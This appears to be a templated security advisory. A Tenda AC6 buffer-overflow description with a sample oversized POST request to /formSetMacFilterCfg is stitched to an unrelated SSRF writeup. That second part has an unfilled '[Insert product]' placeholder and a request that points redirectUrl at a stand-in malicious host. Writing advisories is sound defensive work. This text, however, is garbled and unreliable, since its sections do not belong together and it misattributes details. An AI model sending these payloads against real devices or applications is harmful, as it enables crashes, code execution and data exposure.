Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential System Compromise, Data Leakage

Affected Products

Product | Affected Versions

Tenda AC6 | V15.03.06.23_multi

How the Exploit Works

The vulnerability is based upon a buffer overflow error. The software does not adequately validate input given in the macFilterType and deviceList parameters. If an attacker sends an unusually large amount of data to these parameters, they can overflow the buffer, causing the system to crash or, in some cases, allowing the attacker to execute arbitrary code or gain unauthorized access.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited in a HTTP POST request:

POST /formSetMacFilterCfg HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"macFilterType": "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...",
"deviceList": "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB..."
}

In this example, “A” and “B” represent an overflow of data that exceeds the buffer’s capacity. The attacker floods the parameters with excessive data, causing the system to crash or potentially allowing the execution of arbitrary code.

[Insert product] | [Insert affected version]

How the Exploit Works

The exploit takes advantage of the Server-Side Request Forgery (SSRF) vulnerability in the application. An attacker manipulates the application to make it send a malicious request to an internal resource. The application, unaware of the malicious intent, fulfills the request, which could lead to unauthorized access to sensitive data, system compromise, or even execute functions the application has authorization for.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited, by sending a malicious HTTP request:

GET /app_endpoint?redirectUrl=http://malicious.example.com HTTP/1.1
Host: vulnerableapp.example.com
Accept: */*
User-Agent: Mozilla/5.0

In this example, the attacker manipulates the `redirectUrl` parameter to point to a malicious URL, `http://malicious.example.com`. The application, believing this to be a legitimate request, processes it and could potentially expose sensitive data to the malicious URL.
